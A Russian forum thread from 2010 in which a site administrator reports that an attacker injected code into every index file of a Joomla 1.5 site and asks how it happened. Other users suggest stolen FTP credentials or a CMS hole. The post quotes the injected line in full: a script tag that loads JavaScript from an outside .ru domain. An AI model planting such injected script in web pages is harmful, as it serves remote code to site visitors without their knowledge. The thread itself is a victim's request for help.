Joomla 1.5 Кто-то вписал код во все страницы index*

Discussion in 'Вопросы безопасности' started by SindBAD, Aug 10, 2010.

  1. Offline

    SindBAD Недавно здесь

    Joined:
    Jun 9, 2009
    Messages:
    100
    Likes Received:
    6
    Gender:
    Male
    Всем привет!
    Вчера какое-то чудо прошлось по сайту и вставило во все страницы index* (index.php, index.html, index_backup.php и т. д.) вот такой код:
    Код (html):
    1. <script type="text/javascript" src="http://mealpoets.ru/Hard_Drive.js"></script>
    2. <!--5e878c5fc07b7b6e671d25acfbd0e1d9-->

    , из-за чего сайт даже упал, так как в index.php код не закрыт.
    Joomla 1.5.17 Rus, установлены компоненты AcaJoom v 4.1.5, JCE 1.5.7, JComments 2.2.0.0, QContacts, SEF Service Map, sh404SEF 1.5.4.302, VirtueMart 1.1.4 stable, модули Acajoom Module, Special HTML и весь официальный набор модулей для VirtueMart.
    Доступа к логам и панели нет, владелец сайта вчера как раз укатил в отпуск :(
     
  2.  
  3. Gronpipmaster
    Offline

    Gronpipmaster Недавно здесь => Cпециалист <=

    Joined:
    Jan 21, 2009
    Messages:
    1,392
    Likes Received:
    62
    Gender:
    Male
    SindBAD, скорее всего либо на хостинге пробежались(в смысле масого по всем сайтам) либо по фтп(пароль украден вирусы трояны) другого быть не может.
     
  4. Offline

    SindBAD Недавно здесь

    Joined:
    Jun 9, 2009
    Messages:
    100
    Likes Received:
    6
    Gender:
    Male
    А не может быть так, что как-то залили скрипт, который выполнил эту операцию?

    Массово и через FTP - это вряд ли. Дело в том, что в соседней папке лежит другой сайт, доступ через FTP к нему тот же, и на нем все чисто. Полагаю, что все-таки через Joomla
     
    Last edited: Aug 10, 2010

Share This Page

Loading...